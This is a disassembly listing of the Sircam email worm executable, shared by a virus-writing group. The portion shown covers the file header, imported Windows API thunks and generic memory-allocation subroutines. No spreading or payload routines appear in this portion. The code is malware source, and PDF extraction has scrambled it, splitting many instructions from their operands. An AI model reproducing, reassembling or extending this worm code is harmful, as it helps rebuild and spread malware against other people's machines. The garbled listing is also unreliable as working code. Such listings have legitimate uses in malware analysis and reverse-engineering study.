sircam.pdf

sircam.asm
Fri Aug 10 12:42:44 2001
1
;Disassemblered By Dr.T/ Black Cat VIrii Group 2001;
; www.virology.f2s.com;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º
This file is generated by The Interactive Disassembler (IDA)
º
º
Copyright (c) 1999 by DataRescue sa/nv, <[email protected]>
º
º
Licensed to: Gary Colton, 1 user, advanced, 05/2000
º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File Name
: D:\W32[1].Sircam.exe
Format
: Portable executable for IBM PC (PE)
Section 1. (virtual address 00001000)
Virtual size
: 0001A790 ( 108432.)
Section size in file
: 0001A800 ( 108544.)
Offset to raw data for section: 00000400
Flags 60000020: Text Executable Readable
Alignment
: 16 bytes ?
model flat
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Segment type: Pure code
CODE
segment para public ’CODE’ use32
assume cs:CODE
;org 401000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
off_401000
dd offset dword_401004 ; DATA XREF: CODE:0040624A\031o
; CODE:004095FF\031o ...
dword_401004
dd 7453060Ah, 676E6972h ; DATA XREF: CODE:00401000\030o
off_40100C
dd offset dword_401058 ; DATA XREF: CODE:0040621C\031o
; CODE:00406C44\031o ...
dd 7 dup(0)
dd offset dword_401058
dd 4, 0
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_401058
dd 624F5407h, 7463656Ah ; DATA XREF: CODE:0040100C\030o
; CODE:0040102C\030o ...
off_401060
dd offset dword_401064 ; DATA XREF: CODE:0040BA01\031o
dword_401064
dd 4F540707h, 63656A62h ; DATA XREF: CODE:00401060\030o
db 74h
dd offset dword_401058
dd 0, 53060000h, 65747379h
db 6Dh, 2 dup(0)
off_401080
dd offset dword_401084 ; DATA XREF: CODE:0040BA29\031o
dword_401084
dd 5549080Fh, 6F6E6B6Eh, 6E77h, 10000h, 0, 0C0000000h
; DATA XREF: CODE:00401080\030o
dd 0, 6460000h, 74737953h, 6D65h
; [00000006 BYTES: COLLAPSED FUNCTION j_CloseHandle. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateFileA. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileType. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemTime. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileSize. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetStdHandle. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RaiseException. PRESS KEYPAD "+" TO EXPAND]
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
AND]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
2
FUNCTION j_ReadFile. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetEndOfFile. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetFilePointer. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXP
FUNCTION j_WriteFile. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CharNextA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_ExitProcess. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_MessageBoxA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FindClose. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FindFirstFileA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FreeLibrary. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCommandLineA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetLastError. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetStartupInfoA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetThreadLocale. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_LoadStringA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_lstrcpyA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_lstrcpynA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_lstrlenA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_MultiByteToWideChar. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_RegCloseKey. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_VirtualQuery. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SysAllocStringLen. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SysReAllocStringLen. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SysFreeString. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SysStringLen. PRESS KEYPAD "+" TO EXPAND]
sircam.asm
Fri Aug 10 12:42:44 2001
3
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantClear. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantCopyInd. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VariantChangeTypeEx. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401214
proc near
var_18
var_14
= byte ptr -18h
= word ptr -14h
push
add
mov
push
call
test
jz
movzx
ebx
esp, 0FFFFFFBCh
ebx, 0Ah
esp
j_GetStartupInfoA
[esp+44h+var_18], 1
short loc_40122F
ebx, [esp+44h+var_14]
mov
add
pop
retn
endp
eax, ebx
esp, 44h
ebx
loc_40122F:
sub_401214
; CODE XREF: sub_405880+C6\031p
; CODE XREF: sub_401214+14\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalFree. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualAlloc. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualFree. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_InitializeCriticalSection. PRESS KEYPAD "+" TO EX
PAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LeaveCriticalSection. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND
]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401278
proc near
; CODE XREF: sub_4012D0+6\031p
push
ebx
push
esi
mov
esi, offset dword_41E44C
cmp
dword ptr [esi], 0
jnz
short loc_4012BE
push
644h
push
0
call
j_LocalAlloc
mov
ecx, eax
test
ecx, ecx
jnz
short loc_40129B
xor
eax, eax
pop
esi
sircam.asm
Fri Aug 10 12:42:44 2001
4
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40129B:
mov
mov
mov
xor
; CODE XREF: sub_401278+1C\030j
eax, ds:dword_41E448
[ecx], eax
ds:dword_41E448, ecx
edx, edx
mov
add
lea
mov
mov
mov
inc
cmp
jnz
; CODE XREF: sub_401278+44\031j
eax, edx
eax, eax
eax, [ecx+eax*8+4]
ebx, [esi]
[eax], ebx
[esi], eax
edx
edx, 64h
short loc_4012AA
loc_4012AA:
loc_4012BE:
sub_401278
; CODE XREF: sub_401278+A\030j
mov
mov
mov
pop
pop
retn
endp
eax, [esi]
edx, [eax]
[esi], edx
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4012C8
proc near
sub_4012C8
mov
mov
retn
endp
; CODE XREF: sub_401904+33\031p
; sub_401904+3D\031p ...
[eax], eax
[eax+4], eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4012D0
proc near
; CODE XREF: sub_401318+5E\031p
; sub_40138C+6F\031p ...
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
call
sub_401278
test
eax, eax
jnz
short loc_4012E4
xor
eax, eax
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4012E4:
; CODE XREF: sub_4012D0+D\030j
mov
mov
mov
mov
mov
edx, [esi]
[eax+8], edx
edx, [esi+4]
[eax+0Ch], edx
edx, [ebx]
sircam.asm
sub_4012D0
Fri Aug 10 12:42:44 2001
mov
mov
mov
mov
mov
pop
pop
retn
endp
5
[eax], edx
[eax+4], ebx
[edx+4], eax
[ebx], eax
al, 1
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401300
proc near
sub_401300
mov
mov
mov
mov
mov
mov
mov
retn
endp
; CODE XREF: sub_401318+2C\031p
; sub_401318+49\031p ...
edx, [eax+4]
ecx, [eax]
[edx], ecx
[ecx+4], edx
edx, ds:dword_41E44C
[eax], edx
ds:dword_41E44C, eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401318
proc near
push
push
push
push
push
mov
mov
mov
mov
mov
mov
mov
mov
mov
; CODE XREF: sub_4016C4+6C\031p
; sub_401754+62\031p ...
ebx
esi
edi
ebp
ecx
esi, ecx
[esp+0], edx
ebp, eax
ebx, [ebp+0]
eax, [esp+0]
edx, [eax]
[esi], edx
edx, [eax+4]
[esi+4], edx
loc_401334:
; CODE XREF: sub_401318+58\031j
mov
edi, [ebx]
mov
eax, [ebx+8]
mov
edx, eax
add
edx, [ebx+0Ch]
cmp
edx, [esi]
jnz
short loc_401356
mov
eax, ebx
call
sub_401300
mov
eax, [ebx+8]
mov
[esi], eax
mov
eax, [ebx+0Ch]
add
[esi+4], eax
jmp
short loc_40136C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401356:
; CODE XREF: sub_401318+28\030j
mov
add
cmp
jnz
mov
call
edx, [esi]
edx, [esi+4]
eax, edx
short loc_40136C
eax, ebx
sub_401300
sircam.asm
Fri Aug 10 12:42:44 2001
mov
add
eax, [ebx+0Ch]
[esi+4], eax
loc_40136C:
; CODE XREF: sub_401318+3C\030j
; sub_401318+45\030j
mov
cmp
jnz
mov
mov
call
test
jnz
xor
mov
ebx, edi
ebp, ebx
short loc_401334
edx, esi
eax, ebp
sub_4012D0
al, al
short loc_401383
eax, eax
[esi], eax
pop
pop
pop
pop
pop
retn
endp
edx
ebp
edi
esi
ebx
loc_401383:
sub_401318
6
; CODE XREF: sub_401318+65\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40138C
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
push
push
push
add
mov
mov
; CODE XREF: sub_401878+7A\031p
; sub_401C60+8A\031p
ebx
esi
edi
ebp
esp, 0FFFFFFF8h
ebx, eax
edi, ebx
loc_401397:
; CODE XREF: sub_40138C+84\031j
mov
esi, [edx]
mov
eax, [ebx+8]
cmp
esi, eax
jb
short loc_40140C
mov
ecx, esi
add
ecx, [edx+4]
mov
ebp, eax
add
ebp, [ebx+0Ch]
cmp
ecx, ebp
ja
short loc_40140C
cmp
esi, eax
jnz
short loc_4013CD
mov
eax, [edx+4]
add
[ebx+8], eax
mov
eax, [edx+4]
sub
[ebx+0Ch], eax
cmp
dword ptr [ebx+0Ch], 0
jnz
short loc_401408
mov
eax, ebx
call
sub_401300
jmp
short loc_401408
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4013CD:
; CODE XREF: sub_40138C+24\030j
sircam.asm
Fri Aug 10 12:42:44 2001
7
mov
ecx, [edx]
mov
esi, [edx+4]
add
ecx, esi
mov
edi, eax
add
edi, [ebx+0Ch]
cmp
ecx, edi
jnz
short loc_4013E2
sub
[ebx+0Ch], esi
jmp
short loc_401408
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4013E2:
; CODE XREF: sub_40138C+4F\030j
mov
ecx, [edx]
add
ecx, [edx+4]
mov
[esp+8+var_8], ecx
sub
edi, ecx
mov
[esp+8+var_4], edi
mov
edx, [edx]
sub
edx, eax
mov
[ebx+0Ch], edx
mov
edx, esp
mov
eax, ebx
call
sub_4012D0
test
al, al
jnz
short loc_401408
xor
eax, eax
jmp
short loc_401414
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401408:
; CODE XREF: sub_40138C+36\030j
; sub_40138C+3F\030j ...
mov
al, 1
jmp
short loc_401414
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40140C:
; CODE XREF: sub_40138C+12\030j
; sub_40138C+20\030j
mov
cmp
jnz
xor
ebx, [ebx]
edi, ebx
short loc_401397
eax, eax
loc_401414:
sub_40138C
; CODE XREF: sub_40138C+7A\030j
; sub_40138C+7E\030j
pop
pop
pop
pop
pop
pop
retn
endp
ecx
edx
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40141C
proc near
; CODE XREF: sub_4016C4+5C\031p
push
ebx
push
esi
push
edi
mov
ebx, edx
mov
esi, eax
cmp
esi, 100000h
jge
short loc_401432
mov
esi, 100000h
jmp
short loc_40143E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_401432:
; CODE XREF: sub_40141C+D\030j
add
and
esi, 0FFFFh
esi, 0FFFF0000h
mov
push
push
push
push
call
mov
mov
test
jz
mov
mov
call
test
jnz
push
push
mov
push
call
xor
mov
; CODE XREF: sub_40141C+14\030j
[ebx+4], esi
1
2000h
esi
0
j_VirtualAlloc
edi, eax
[ebx], edi
edi, edi
short loc_40147B
edx, ebx
eax, offset dword_41E450
sub_4012D0
al, al
short loc_40147B
8000h
0
eax, [ebx]
eax
j_VirtualFree
eax, eax
[ebx], eax
loc_40143E:
loc_40147B:
sub_40141C
8
; CODE XREF: sub_40141C+3A\030j
; sub_40141C+4A\030j
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401480
proc near
push
push
push
push
mov
mov
mov
mov
push
push
push
push
call
mov
mov
test
jnz
add
and
mov
push
push
push
push
call
; CODE XREF: sub_401754+4C\031p
; sub_401754+93\031p
ebx
esi
edi
ebp
ebx, ecx
esi, edx
ebp, eax
dword ptr [ebx+4], 100000h
4
2000h
100000h
ebp
j_VirtualAlloc
edi, eax
[ebx], edi
edi, edi
short loc_4014CA
esi, 0FFFFh
esi, 0FFFF0000h
[ebx+4], esi
4
2000h
esi
ebp
j_VirtualAlloc
sircam.asm
Fri Aug 10 12:42:44 2001
mov
[ebx], eax
cmp
jz
mov
mov
call
test
jnz
push
push
mov
push
call
xor
mov
; CODE XREF: sub_401480+29\030j
dword ptr [ebx], 0
short loc_4014F2
edx, ebx
eax, offset dword_41E450
sub_4012D0
al, al
short loc_4014F2
8000h
0
eax, [ebx]
eax
j_VirtualFree
eax, eax
[ebx], eax
loc_4014CA:
loc_4014F2:
sub_401480
9
; CODE XREF: sub_401480+4D\030j
; sub_401480+5D\030j
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4014F8
proc near
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_4016C4+7E\031p
; sub_401754+7A\031p ...
-14h
-10h
-0Ch
-8
-4
push
ebx
push
esi
push
edi
push
ebp
add
esp, 0FFFFFFECh
mov
[esp+14h+var_10], ecx
mov
[esp+14h+var_14], edx
mov
[esp+14h+var_C], 0FFFFFFFFh
xor
edx, edx
mov
[esp+14h+var_8], edx
mov
ebp, eax
mov
eax, [esp+14h+var_14]
add
eax, ebp
mov
[esp+14h+var_4], eax
mov
ebx, ds:dword_41E450
jmp
short loc_401578
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401527:
mov
mov
cmp
ja
mov
add
cmp
ja
cmp
; CODE XREF: sub_4014F8+86\031j
edi, [ebx]
esi, [ebx+8]
ebp, esi
short loc_401576
eax, esi
eax, [ebx+0Ch]
eax, [esp+14h+var_4]
short loc_401576
esi, [esp+14h+var_C]
sircam.asm
Fri Aug 10 12:42:44 2001
jnb
mov
short loc_401545
[esp+14h+var_C], esi
mov
add
cmp
jbe
mov
; CODE XREF: sub_4014F8+47\030j
eax, esi
eax, [ebx+0Ch]
eax, [esp+14h+var_8]
short loc_401554
[esp+14h+var_8], eax
push
push
push
call
test
jnz
mov
; CODE XREF: sub_4014F8+56\030j
8000h
0
esi
j_VirtualFree
eax, eax
short loc_40156F
ds:dword_41E42C, 1
mov
call
eax, ebx
sub_401300
loc_401545:
loc_401554:
loc_40156F:
; CODE XREF: sub_4014F8+6B\030j
loc_401576:
; CODE XREF: sub_4014F8+36\030j
; sub_4014F8+41\030j
mov
ebx, edi
cmp
jnz
mov
xor
mov
cmp
jz
mov
mov
mov
mov
sub
mov
mov
; CODE XREF: sub_4014F8+2D\030j
ebx, offset dword_41E450
short loc_401527
eax, [esp+14h+var_10]
edx, edx
[eax], edx
[esp+14h+var_8], 0
short loc_4015A8
eax, [esp+14h+var_10]
edx, [esp+14h+var_C]
[eax], edx
eax, [esp+14h+var_8]
eax, [esp+14h+var_C]
edx, [esp+14h+var_10]
[edx+4], eax
loc_401578:
loc_4015A8:
sub_4014F8
10
; CODE XREF: sub_4014F8+95\030j
add
pop
pop
pop
pop
retn
endp
esp, 14h
ebp
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4015B0
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
push
push
push
add
mov
mov
; CODE XREF: sub_4016C4+2D\031p
; sub_401754+E6\031p
ebx
esi
edi
ebp
esp, 0FFFFFFF4h
[esp+0Ch+var_8], ecx
[esp+0Ch+var_C], edx
sircam.asm
Fri Aug 10 12:42:44 2001
11
mov
edx, eax
mov
ebp, edx
and
ebp, 0FFFFF000h
add
edx, [esp+0Ch+var_C]
add
edx, 0FFFh
and
edx, 0FFFFF000h
mov
[esp+0Ch+var_4], edx
mov
eax, [esp+0Ch+var_8]
mov
[eax], ebp
mov
eax, [esp+0Ch+var_4]
sub
eax, ebp
mov
edx, [esp+0Ch+var_8]
mov
[edx+4], eax
mov
esi, ds:dword_41E450
jmp
short loc_401632
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4015F6:
; CODE XREF: sub_4015B0+88\031j
mov
mov
add
cmp
jbe
mov
ebx, [esi+8]
edi, [esi+0Ch]
edi, ebx
ebp, ebx
short loc_401604
ebx, ebp
cmp
jbe
mov
; CODE XREF: sub_4015B0+50\030j
edi, [esp+0Ch+var_4]
short loc_40160E
edi, [esp+0Ch+var_4]
loc_401604:
loc_40160E:
; CODE XREF: sub_4015B0+58\030j
cmp
edi, ebx
jbe
short loc_401630
push
4
push
1000h
sub
edi, ebx
push
edi
push
ebx
call
j_VirtualAlloc
test
eax, eax
jnz
short loc_401630
mov
eax, [esp+0Ch+var_8]
xor
edx, edx
mov
[eax], edx
jmp
short loc_40163A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401630:
; CODE XREF: sub_4015B0+60\030j
; sub_4015B0+74\030j
mov
esi, [esi]
cmp
jnz
; CODE XREF: sub_4015B0+44\030j
esi, offset dword_41E450
short loc_4015F6
